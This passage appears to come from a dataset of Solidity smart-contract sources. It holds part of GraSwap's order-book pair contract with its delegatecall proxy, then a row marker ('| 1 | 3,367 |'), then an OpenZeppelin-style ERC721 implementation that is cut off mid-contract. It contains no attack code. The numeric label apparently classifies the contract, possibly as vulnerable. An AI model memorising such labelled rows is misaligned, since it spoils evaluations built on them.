uint expectedCallDataSize = 4+32*(ProxyData.COUNT+2+rmList.length);
ProxyData.fill(proxyData, expectedCallDataSize);
for(uint i = 0; i < rmList.length; i++) {
uint rmInfo = rmList[i];
bool isBuy = uint8(rmInfo) != 0;
uint32 id = uint32(rmInfo>>8);
uint72 prevKey = uint72(rmInfo>>40);
_removeOrder(isBuy, id, prevKey, proxyData);
}
}
function removeOrder(bool isBuy, uint32 id, uint72 prevKey) external override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
_removeOrder(isBuy, id, prevKey, proxyData);
}
function _removeOrder(bool isBuy, uint32 id, uint72 prevKey, uint[5] memory proxyData) private {
Context memory ctx;
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
if(!isBuy) {
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
}
Order memory order = _removeOrderFromBook(ctx, isBuy, id, prevKey);
require(msg.sender == order.sender, "GraSwap: NOT_OWNER");
uint64 stockUnit = ProxyData.stockUnit(proxyData);
uint stockAmount = uint(order.amount) * uint(stockUnit);
address graContract = ProxyData.graContract(proxyData);
if(isBuy) {
RatPrice memory price = _expandPrice(order.price, proxyData);
uint moneyAmount = stockAmount * price.numerator / price.denominator;
ctx.bookedMoney -= moneyAmount;
_safeTransfer(ProxyData.money(proxyData), order.sender, moneyAmount, graContract);
} else {
ctx.bookedStock -= stockAmount;
_safeTransfer(ProxyData.stock(proxyData), order.sender, stockAmount, graContract);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
}
function _removeOrderFromBook(Context memory ctx, bool isBuy,
uint32 id, uint72 prevKey) internal returns (Order memory) {
(Order memory order, bool ok) = _getOrder(isBuy, id);
require(ok, "GraSwap: NO_SUCH_ORDER");
if(prevKey == 0) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
require(id == firstID, "GraSwap: NOT_FIRST");
_setFirstOrderID(ctx, isBuy, order.nextID);
if(!isBuy) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
} else {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
require(findIt, "GraSwap: INVALID_POSITION");
while(prevOrder.nextID != id) {
currID = prevOrder.nextID;
require(currID != 0, "GraSwap: REACH_END");
(prevOrder, ) = _getOrder(isBuy, currID);
}
prevOrder.nextID = order.nextID;
_setOrder(isBuy, currID, prevOrder);
}
_emitRemoveOrder(order.amount, id, isBuy);
_deleteOrder(isBuy, id);
return order;
}
function _insertOrderAtHead(Context memory ctx, bool isBuy, Order memory order, uint32 id) private {
order.nextID = _getFirstOrderID(ctx, isBuy);
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
}
function _getOrder3Times(bool isBuy, uint72 prevKey) private view returns (
uint32 currID, Order memory prevOrder, bool findIt) {
currID = uint32(prevKey&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>24)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
if(!findIt) {
currID = uint32((prevKey>>48)&_MAX_ID);
(prevOrder, findIt) = _getOrder(isBuy, currID);
}
}
}
function _insertOrderFromGivenPos(bool isBuy, Order memory order,
uint32 id, uint72 prevKey) private returns (bool inserted) {
(uint32 currID, Order memory prevOrder, bool findIt) = _getOrder3Times(isBuy, prevKey);
if(!findIt) {
return false;
}
return _insertOrder(isBuy, order, prevOrder, id, currID);
}
function _insertOrderFromHead(Context memory ctx, bool isBuy, Order memory order,
uint32 id) private returns (bool inserted) {
uint32 firstID = _getFirstOrderID(ctx, isBuy);
bool canBeFirst = (firstID == 0);
Order memory firstOrder;
if(!canBeFirst) {
(firstOrder, ) = _getOrder(isBuy, firstID);
canBeFirst = (isBuy && (firstOrder.price < order.price)) ||
(!isBuy && (firstOrder.price > order.price));
}
if(canBeFirst) {
order.nextID = firstID;
_setOrder(isBuy, id, order);
_setFirstOrderID(ctx, isBuy, id);
return true;
}
return _insertOrder(isBuy, order, firstOrder, id, firstID);
}
function _insertOrder(bool isBuy, Order memory order, Order memory prevOrder,
uint32 id, uint32 currID) private returns (bool inserted) {
while(currID != 0) {
bool canFollow = (isBuy && (order.price <= prevOrder.price)) ||
(!isBuy && (order.price >= prevOrder.price));
if(!canFollow) {break;}
Order memory nextOrder;
if(prevOrder.nextID != 0) {
(nextOrder, ) = _getOrder(isBuy, prevOrder.nextID);
bool canPrecede = (isBuy && (nextOrder.price < order.price)) ||
(!isBuy && (nextOrder.price > order.price));
canFollow = canFollow && canPrecede;
}
if(canFollow) {
order.nextID = prevOrder.nextID;
_setOrder(isBuy, id, order);
prevOrder.nextID = id;
_setOrder(isBuy, currID, prevOrder);
return true;
}
currID = prevOrder.nextID;
prevOrder = nextOrder;
}
return false;
}
function getPrices() external override returns (
uint firstSellPriceNumerator,
uint firstSellPriceDenominator,
uint firstBuyPriceNumerator,
uint firstBuyPriceDenominator,
uint poolPriceNumerator,
uint poolPriceDenominator) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+0));
(uint112 reserveStock, uint112 reserveMoney, uint32 firstSellID) = getReserves();
poolPriceNumerator = uint(reserveMoney);
poolPriceDenominator = uint(reserveStock);
firstSellPriceNumerator = 0;
firstSellPriceDenominator = 0;
firstBuyPriceNumerator = 0;
firstBuyPriceDenominator = 0;
if(firstSellID!=0) {
uint order = _sellOrders[firstSellID];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstSellPriceNumerator = price.numerator;
firstSellPriceDenominator = price.denominator;
}
uint32 id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
if(id!=0) {
uint order = _buyOrders[id];
RatPrice memory price = _expandPrice(uint32(order>>64), proxyData);
firstBuyPriceNumerator = price.numerator;
firstBuyPriceDenominator = price.denominator;
}
}
function getOrderList(bool isBuy, uint32 id, uint32 maxCount) external override view returns (uint[] memory) {
if(id == 0) {
if(isBuy) {
id = uint32(_bookedStockAndMoneyAndFirstBuyID>>224);
} else {
id = uint32(_reserveStockAndMoneyAndFirstSellID>>224);
}
}
uint[1<<22] storage orderbook;
if(isBuy) {
orderbook = _buyOrders;
} else {
orderbook = _sellOrders;
}
uint order = (block.number<<24) | id;
uint addrOrig;
uint addrLen;
uint addrStart;
uint addrEnd;
uint count = 0;
assembly {
addrOrig := mload(0x40)
mstore(addrOrig, 32)
}
addrLen = addrOrig + 32;
addrStart = addrLen + 32;
addrEnd = addrStart;
while(count < maxCount) {
assembly {
mstore(addrEnd, order)
}
addrEnd += 32;
count++;
if(id == 0) {break;}
order = orderbook[id];
require(order!=0, "GraSwap: INCONSISTENT_BOOK");
id = uint32(order&_MAX_ID);
}
assembly {
mstore(addrLen, count)
let byteCount := sub(addrEnd, addrOrig)
return(addrOrig, byteCount)
}
}
function _getUnusedOrderID(bool isBuy, uint32 id) internal view returns (uint32) {
if(id == 0) {
id = uint32(uint(blockhash(block.number-1))^uint(tx.origin)) & _MAX_ID;
}
for(uint32 i = 0; i < 100 && id <= _MAX_ID; i++) {
if(!_hasOrder(isBuy, id)) {
return id;
}
id++;
}
require(false, "GraSwap: CANNOT_FIND_VALID_ID");
return 0;
}
function calcStockAndMoney(uint64 amount, uint32 price32) external pure override returns (uint stockAmount, uint moneyAmount) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+2));
(stockAmount, moneyAmount, ) = _calcStockAndMoney(amount, price32, proxyData);
}
function _calcStockAndMoney(uint64 amount, uint32 price32, uint[5] memory proxyData) private pure returns (uint stockAmount, uint moneyAmount, RatPrice memory price) {
price = _expandPrice(price32, proxyData);
uint64 stockUnit = ProxyData.stockUnit(proxyData);
stockAmount = uint(amount) * uint(stockUnit);
moneyAmount = stockAmount * price.numerator /price.denominator;
}
function addLimitOrder(bool isBuy, address sender, uint64 amount, uint32 price32,
uint32 id, uint72 prevKey) external payable override lock {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+6));
require(ProxyData.isOnlySwap(proxyData)==false, "GraSwap: LIMIT_ORDER_NOT_SUPPORTED");
Context memory ctx;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
ctx.moneyToken = ProxyData.money(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = true;
ctx.order.sender = sender;
ctx.order.amount = amount;
ctx.order.price = price32;
ctx.newOrderID = _getUnusedOrderID(isBuy, id);
RatPrice memory price;
{
require((amount >> 42) == 0, "GraSwap: INVALID_AMOUNT");
uint32 m = price32 & DecFloat32.MANTISSA_MASK;
require(DecFloat32.MIN_MANTISSA <= m && m <= DecFloat32.MAX_MANTISSA, "GraSwap: INVALID_PRICE");
uint stockAmount;
uint moneyAmount;
(stockAmount, moneyAmount, price) = _calcStockAndMoney(amount, price32, proxyData);
if(isBuy) {
ctx.remainAmount = moneyAmount;
} else {
ctx.remainAmount = stockAmount;
}
}
require(ctx.remainAmount < uint(1<<112), "GraSwap: OVERFLOW");
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
if(prevKey != 0) {
bool inserted = _insertOrderFromGivenPos(isBuy, ctx.order, ctx.newOrderID, prevKey);
if(inserted) {
_emitNewLimitOrder(uint64(ctx.order.sender), amount, amount, price32, ctx.newOrderID, isBuy);
if(isBuy) {
ctx.bookedMoney += ctx.remainAmount;
} else {
ctx.bookedStock += ctx.remainAmount;
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
if(ctx.reserveChanged) {
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
}
return;
}
}
_addOrder(ctx, isBuy, price);
}
function addMarketOrder(address inputToken, address sender,
uint112 inAmount) external payable override lock returns (uint) {
uint[5] memory proxyData;
ProxyData.fill(proxyData, 4+32*(ProxyData.COUNT+3));
Context memory ctx;
ctx.moneyToken = ProxyData.money(proxyData);
ctx.stockToken = ProxyData.stock(proxyData);
require(inputToken == ctx.moneyToken || inputToken == ctx.stockToken, "GraSwap: INVALID_TOKEN");
bool isBuy = inputToken == ctx.moneyToken;
ctx.stockUnit = ProxyData.stockUnit(proxyData);
ctx.priceMul = ProxyData.priceMul(proxyData);
ctx.priceDiv = ProxyData.priceDiv(proxyData);
ctx.graContract = ProxyData.graContract(proxyData);
ctx.factory = ProxyData.factory(proxyData);
ctx.hasDealtInOrderBook = false;
ctx.isLimitOrder = false;
ctx.remainAmount = inAmount;
(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID) = getReserves();
(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID) = getBooked();
_checkRemainAmount(ctx, isBuy);
ctx.order.sender = sender;
if(isBuy) {
ctx.order.price = DecFloat32.MAX_PRICE;
} else {
ctx.order.price = DecFloat32.MIN_PRICE;
}
RatPrice memory price;
_emitNewMarketOrder(uint136(ctx.order.sender), inAmount, isBuy);
return _addOrder(ctx, isBuy, price);
}
function _checkRemainAmount(Context memory ctx, bool isBuy) private view {
ctx.reserveChanged = false;
uint diff;
if(isBuy) {
uint balance = _myBalance(ctx.moneyToken);
require(balance >= ctx.bookedMoney + ctx.reserveMoney, "GraSwap: MONEY_MISMATCH");
diff = balance - ctx.bookedMoney - ctx.reserveMoney;
if(ctx.remainAmount < diff) {
ctx.reserveMoney += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
} else {
uint balance = _myBalance(ctx.stockToken);
require(balance >= ctx.bookedStock + ctx.reserveStock, "GraSwap: STOCK_MISMATCH");
diff = balance - ctx.bookedStock - ctx.reserveStock;
if(ctx.remainAmount < diff) {
ctx.reserveStock += (diff - ctx.remainAmount);
ctx.reserveChanged = true;
}
}
require(ctx.remainAmount <= diff, "GraSwap: DEPOSIT_NOT_ENOUGH");
}
function _addOrder(Context memory ctx, bool isBuy, RatPrice memory price) private returns (uint) {
(ctx.dealMoneyInBook, ctx.dealStockInBook) = (0, 0);
ctx.firstID = _getFirstOrderID(ctx, !isBuy);
uint32 currID = ctx.firstID;
ctx.amountIntoPool = 0;
while(currID != 0) {
(Order memory orderInBook, ) = _getOrder(!isBuy, currID);
bool canDealInOrderBook = (isBuy && (orderInBook.price <= ctx.order.price)) ||
(!isBuy && (orderInBook.price >= ctx.order.price));
if(!canDealInOrderBook) {break;}
RatPrice memory priceInBook = _expandPrice(ctx, orderInBook.price);
bool allDeal = _tryDealInPool(ctx, isBuy, priceInBook);
if(allDeal) {break;}
_dealInOrderBook(ctx, isBuy, currID, orderInBook, priceInBook);
if(orderInBook.amount != 0) {
_setOrder(!isBuy, currID, orderInBook);
break;
}
_deleteOrder(!isBuy, currID);
currID = orderInBook.nextID;
}
if(ctx.isLimitOrder) {
_tryDealInPool(ctx, isBuy, price);
_insertOrderToBook(ctx, isBuy, price);
} else {
ctx.amountIntoPool += ctx.remainAmount;
ctx.remainAmount = 0;
}
uint amountToTaker = _dealWithPoolAndCollectFee(ctx, isBuy);
if(isBuy) {
ctx.bookedStock -= ctx.dealStockInBook;
} else {
ctx.bookedMoney -= ctx.dealMoneyInBook;
}
if(ctx.firstID != currID) {
_setFirstOrderID(ctx, !isBuy, currID);
}
_setBooked(ctx.bookedStock, ctx.bookedMoney, ctx.firstBuyID);
_setReserves(ctx.reserveStock, ctx.reserveMoney, ctx.firstSellID);
return amountToTaker;
}
function _intopoolAmountTillPrice(bool isBuy, uint reserveMoney, uint reserveStock,
RatPrice memory price) private pure returns (uint result) {
uint numerator = reserveMoney * price.denominator;
uint denominator = reserveStock * price.numerator;
if(isBuy) {
(numerator, denominator) = (denominator, numerator);
}
while(numerator >= (1<<192)) {
numerator >>= 16;
denominator >>= 16;
}
require(denominator != 0, "GraSwapPair: DIV_BY_ZERO");
numerator = numerator * (1<<64);
uint quotient = numerator / denominator;
if(quotient <= (1<<64)) {
return 0;
} else if(quotient <= ((1<<64)*5/4)) {
uint x = quotient - (1<<64);
uint y = x*x;
y = x/2 - y/(8*(1<<64)) + y*x/(16*(1<<128));
if(isBuy) {
result = reserveMoney * y;
} else {
result = reserveStock * y;
}
result /= (1<<64);
return result;
}
uint root = Math.sqrt(quotient);
uint diff = root - (1<<32);
if(isBuy) {
result = reserveMoney * diff;
} else {
result = reserveStock * diff;
}
result /= (1<<32);
return result;
}
function _tryDealInPool(Context memory ctx, bool isBuy, RatPrice memory price) private pure returns (bool) {
uint currTokenCanTrade = _intopoolAmountTillPrice(isBuy, ctx.reserveMoney, ctx.reserveStock, price);
require(currTokenCanTrade < uint(1<<112), "GraSwap: CURR_TOKEN_TOO_LARGE");
if(!isBuy) {
currTokenCanTrade /= ctx.stockUnit;
currTokenCanTrade *= ctx.stockUnit;
}
if(currTokenCanTrade > ctx.amountIntoPool) {
uint diffTokenCanTrade = currTokenCanTrade - ctx.amountIntoPool;
bool allDeal = diffTokenCanTrade >= ctx.remainAmount;
if(allDeal) {
diffTokenCanTrade = ctx.remainAmount;
}
ctx.amountIntoPool += diffTokenCanTrade;
ctx.remainAmount -= diffTokenCanTrade;
return allDeal;
}
return false;
}
function _dealInOrderBook(Context memory ctx, bool isBuy, uint32 currID,
Order memory orderInBook, RatPrice memory priceInBook) internal {
ctx.hasDealtInOrderBook = true;
uint stockAmount;
if(isBuy) {
uint a = ctx.remainAmount * priceInBook.denominator;
uint b = priceInBook.numerator * ctx.stockUnit;
stockAmount = a/b;
} else {
stockAmount = ctx.remainAmount/ctx.stockUnit;
}
if(uint(orderInBook.amount) < stockAmount) {
stockAmount = uint(orderInBook.amount);
}
require(stockAmount < (1<<42), "GraSwap: STOCK_TOO_LARGE");
uint stockTrans = stockAmount * ctx.stockUnit;
uint moneyTrans = stockTrans * priceInBook.numerator / priceInBook.denominator;
_emitOrderChanged(orderInBook.amount, uint64(stockAmount), currID, isBuy);
orderInBook.amount -= uint64(stockAmount);
if(isBuy) {
ctx.remainAmount -= moneyTrans;
} else {
ctx.remainAmount -= stockTrans;
}
ctx.dealStockInBook += stockTrans;
ctx.dealMoneyInBook += moneyTrans;
if(isBuy) {
_safeTransfer(ctx.moneyToken, orderInBook.sender, moneyTrans, ctx.graContract);
} else {
_safeTransfer(ctx.stockToken, orderInBook.sender, stockTrans, ctx.graContract);
}
}
function _dealWithPoolAndCollectFee(Context memory ctx, bool isBuy) internal returns (uint) {
(uint outpoolTokenReserve, uint inpoolTokenReserve, uint otherToTaker) = (
ctx.reserveMoney, ctx.reserveStock, ctx.dealMoneyInBook);
if(isBuy) {
(outpoolTokenReserve, inpoolTokenReserve, otherToTaker) = (
ctx.reserveStock, ctx.reserveMoney, ctx.dealStockInBook);
}
uint outAmount = (outpoolTokenReserve*ctx.amountIntoPool)/(inpoolTokenReserve+ctx.amountIntoPool);
if(ctx.amountIntoPool > 0) {
_emitDealWithPool(uint112(ctx.amountIntoPool), uint112(outAmount), isBuy);
}
uint32 feeBPS = IGraSwapFactory(ctx.factory).feeBPS();
uint amountToTaker = outAmount + otherToTaker;
require(amountToTaker < uint(1<<112), "GraSwap: AMOUNT_TOO_LARGE");
uint fee = (amountToTaker * feeBPS + 9999) / 10000;
amountToTaker -= fee;
if(isBuy) {
ctx.reserveMoney = ctx.reserveMoney + ctx.amountIntoPool;
ctx.reserveStock = ctx.reserveStock - outAmount + fee;
} else {
ctx.reserveMoney = ctx.reserveMoney - outAmount + fee;
ctx.reserveStock = ctx.reserveStock + ctx.amountIntoPool;
}
address token = ctx.moneyToken;
if(isBuy) {
token = ctx.stockToken;
}
_safeTransfer(token, ctx.order.sender, amountToTaker, ctx.graContract);
return amountToTaker;
}
function _insertOrderToBook(Context memory ctx, bool isBuy, RatPrice memory price) internal {
(uint smallAmount, uint moneyAmount, uint stockAmount) = (0, 0, 0);
if(isBuy) {
uint tempAmount1 = ctx.remainAmount * price.denominator ;
uint temp = ctx.stockUnit * price.numerator;
stockAmount = tempAmount1 / temp;
uint tempAmount2 = stockAmount * temp;
moneyAmount = (tempAmount2+price.denominator-1)/price.denominator;
if(ctx.remainAmount > moneyAmount) {
smallAmount = ctx.remainAmount - moneyAmount;
} else {
moneyAmount = ctx.remainAmount;
}
} else {
stockAmount = ctx.remainAmount / ctx.stockUnit;
smallAmount = ctx.remainAmount - stockAmount * ctx.stockUnit;
}
ctx.amountIntoPool += smallAmount;
_emitNewLimitOrder(uint64(ctx.order.sender), ctx.order.amount, uint64(stockAmount),
ctx.order.price, ctx.newOrderID, isBuy);
if(stockAmount != 0) {
ctx.order.amount = uint64(stockAmount);
if(ctx.hasDealtInOrderBook) {
_insertOrderAtHead(ctx, isBuy, ctx.order, ctx.newOrderID);
} else {
_insertOrderFromHead(ctx, isBuy, ctx.order, ctx.newOrderID);
}
}
if(isBuy) {
ctx.bookedMoney += moneyAmount;
} else {
ctx.bookedStock += (ctx.remainAmount - smallAmount);
}
}
}
contract GraSwapPairProxy {
uint internal _unusedVar0;
uint internal _unusedVar1;
uint internal _unusedVar2;
uint internal _unusedVar3;
uint internal _unusedVar4;
uint internal _unusedVar5;
uint internal _unusedVar6;
uint internal _unusedVar7;
uint internal _unusedVar8;
uint internal _unusedVar9;
uint internal _unlocked;
uint internal immutable _immuFactory;
uint internal immutable _immuMoneyToken;
uint internal immutable _immuStockToken;
uint internal immutable _immuGras;
uint internal immutable _immuOther;
constructor(address stockToken, address moneyToken, bool isOnlySwap, uint64 stockUnit, uint64 priceMul, uint64 priceDiv, address graContract) public {
_immuFactory = uint(msg.sender);
_immuMoneyToken = uint(moneyToken);
_immuStockToken = uint(stockToken);
_immuGras = uint(graContract);
uint temp = 0;
if(isOnlySwap) {
temp = 1;
}
temp = (temp<<64) | stockUnit;
temp = (temp<<64) | priceMul;
temp = (temp<<64) | priceDiv;
_immuOther = temp;
_unlocked = 1;
}
receive() external payable { }
fallback() payable external {
uint factory = _immuFactory;
uint moneyToken = _immuMoneyToken;
uint stockToken = _immuStockToken;
uint graContract = _immuGras;
uint other = _immuOther;
address impl = IGraSwapFactory(address(_immuFactory)).pairLogic();
assembly {
let ptr := mload(0x40)
let size := calldatasize()
calldatacopy(ptr, 0, size)
let end := add(ptr, size)
mstore(end, factory)
end := add(end, 32)
mstore(end, moneyToken)
end := add(end, 32)
mstore(end, stockToken)
end := add(end, 32)
mstore(end, graContract)
end := add(end, 32)
mstore(end, other)
size := add(size, 160)
let result := delegatecall(gas(), impl, ptr, size, 0, 0)
size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
} | 1 | 3,367 |
pragma solidity ^0.4.24;
interface IERC165 {
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool);
}
contract IERC721 is IERC165 {
event Transfer(
address indexed from,
address indexed to,
uint256 indexed tokenId
);
event Approval(
address indexed owner,
address indexed approved,
uint256 indexed tokenId
);
event ApprovalForAll(
address indexed owner,
address indexed operator,
bool approved
);
function balanceOf(address owner) public view returns (uint256 balance);
function ownerOf(uint256 tokenId) public view returns (address owner);
function approve(address to, uint256 tokenId) public;
function getApproved(uint256 tokenId)
public view returns (address operator);
function setApprovalForAll(address operator, bool _approved) public;
function isApprovedForAll(address owner, address operator)
public view returns (bool);
function transferFrom(address from, address to, uint256 tokenId) public;
function safeTransferFrom(address from, address to, uint256 tokenId)
public;
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes data
)
public;
}
contract IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract ERC165 is IERC165 {
bytes4 private constant _InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) private _supportedInterfaces;
constructor()
internal
{
_registerInterface(_InterfaceId_ERC165);
}
function supportsInterface(bytes4 interfaceId)
external
view
returns (bool)
{
return _supportedInterfaces[interfaceId];
}
function _registerInterface(bytes4 interfaceId)
internal
{
require(interfaceId != 0xffffffff);
_supportedInterfaces[interfaceId] = true;
}
}
contract ERC721 is ERC165, IERC721 {
using SafeMath for uint256;
using Address for address;
bytes4 private constant _ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) private _tokenOwner;
mapping (uint256 => address) private _tokenApprovals;
mapping (address => uint256) private _ownedTokensCount;
mapping (address => mapping (address => bool)) private _operatorApprovals;
bytes4 private constant _InterfaceId_ERC721 = 0x80ac58cd;
constructor()
public
{
_registerInterface(_InterfaceId_ERC721);
}
function balanceOf(address owner) public view returns (uint256) {
require(owner != address(0));
return _ownedTokensCount[owner];
}
function ownerOf(uint256 tokenId) public view returns (address) {
address owner = _tokenOwner[tokenId];
require(owner != address(0));
return owner;
}
function approve(address to, uint256 tokenId) public {
address owner = ownerOf(tokenId);
require(to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
function getApproved(uint256 tokenId) public view returns (address) {
require(_exists(tokenId));
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address to, bool approved) public {
require(to != msg.sender);
_operatorApprovals[msg.sender][to] = approved;
emit ApprovalForAll(msg.sender, to, approved);
}
function isApprovedForAll(
address owner,
address operator
)
public
view
returns (bool)
{
return _operatorApprovals[owner][operator];
}
function transferFrom(
address from,
address to,
uint256 tokenId
)
public
{
require(_isApprovedOrOwner(msg.sender, tokenId));
require(to != address(0));
_clearApproval(from, tokenId);
_removeTokenFrom(from, tokenId);
_addTokenTo(to, tokenId);
emit Transfer(from, to, tokenId);
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
)
public
{
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes _data
)
public
{
transferFrom(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data));
}
function _exists(uint256 tokenId) internal view returns (bool) {
address owner = _tokenOwner[tokenId];
return owner != address(0);
}
function _isApprovedOrOwner(
address spender,
uint256 tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(tokenId);
return (
spender == owner ||
getApproved(tokenId) == spender ||
isApprovedForAll(owner, spender)
);
}
function _mint(address to, uint256 tokenId) internal {
require(to != address(0));
_addTokenTo(to, tokenId);
emit Transfer(address(0), to, tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
_clearApproval(owner, tokenId);
_removeTokenFrom(owner, tokenId);
emit Transfer(owner, address(0), tokenId);
}
function _addTokenTo(address to, uint256 tokenId) internal {
require(_tokenOwner[tokenId] == address(0));
_tokenOwner[tokenId] = to;
_ownedTokensCount[to] = _ownedTokensCount[to].add(1);
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
require(ownerOf(tokenId) == from);
_ownedTokensCount[from] = _ownedTokensCount[from].sub(1);
_tokenOwner[tokenId] = address(0);
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes _data
)
internal
returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes4 retval = IERC721Receiver(to).onERC721Received(
msg.sender, from, tokenId, _data);
return (retval == _ERC721_RECEIVED);
}
function _clearApproval(address owner, uint256 tokenId) private {
require(ownerOf(tokenId) == owner);
if (_tokenApprovals[tokenId] != address(0)) {
_tokenApprovals[tokenId] = address(0);
}
}
}
contract IERC721Metadata is IERC721 {
function name() external view returns (string);
function symbol() external view returns (string);
function tokenURI(uint256 tokenId) external view returns (string);
}
contract ERC721Metadata is ERC165, ERC721, IERC721Metadata {
string private _name;
string private _symbol;
mapping(uint256 => string) private _tokenURIs;
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
constructor(string name, string symbol) public {
_name = name;
_symbol = symbol;
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return _name;
}
function symbol() external view returns (string) {
return _symbol;
}
function tokenURI(uint256 tokenId) external view returns (string) {
require(_exists(tokenId));
return _tokenURIs[tokenId];
}
function _setTokenURI(uint256 tokenId, string uri) internal {
require(_exists(tokenId));
_tokenURIs[tokenId] = uri;
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
contract IERC721Enumerable is IERC721 {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256 tokenId);
function tokenByIndex(uint256 index) public view returns (uint256);
}
contract ERC721Enumerable is ERC165, ERC721, IERC721Enumerable {
mapping(address => uint256[]) private _ownedTokens;
mapping(uint256 => uint256) private _ownedTokensIndex;
uint256[] private _allTokens;
mapping(uint256 => uint256) private _allTokensIndex;
bytes4 private constant _InterfaceId_ERC721Enumerable = 0x780e9d63;
constructor() public {
_registerInterface(_InterfaceId_ERC721Enumerable);
}
function tokenOfOwnerByIndex(
address owner,
uint256 index
)
public
view
returns (uint256)
{
require(index < balanceOf(owner));
return _ownedTokens[owner][index];
}
function totalSupply() public view returns (uint256) {
return _allTokens.length;
}
function tokenByIndex(uint256 index) public view returns (uint256) {
require(index < totalSupply());
return _allTokens[index];
}
function _addTokenTo(address to, uint256 tokenId) internal {
super._addTokenTo(to, tokenId);
uint256 length = _ownedTokens[to].length;
_ownedTokens[to].push(tokenId);
_ownedTokensIndex[tokenId] = length;
}
function _removeTokenFrom(address from, uint256 tokenId) internal {
super._removeTokenFrom(from, tokenId);
uint256 tokenIndex = _ownedTokensIndex[tokenId];
uint256 lastTokenIndex = _ownedTokens[from].length.sub(1);
uint256 lastToken = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastToken;
_ownedTokens[from].length--;
_ownedTokensIndex[tokenId] = 0;
_ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address to, uint256 tokenId) internal {
super._mint(to, tokenId);
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
uint256 tokenIndex = _allTokensIndex[tokenId];
uint256 lastTokenIndex = _allTokens.length.sub(1);
uint256 lastToken = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastToken;
_allTokens[lastTokenIndex] = 0;
_allTokens.length--;
_allTokensIndex[tokenId] = 0;
_allTokensIndex[lastToken] = tokenIndex;
}
}
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor(string name, string symbol) ERC721Metadata(name, symbol)
public
{
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
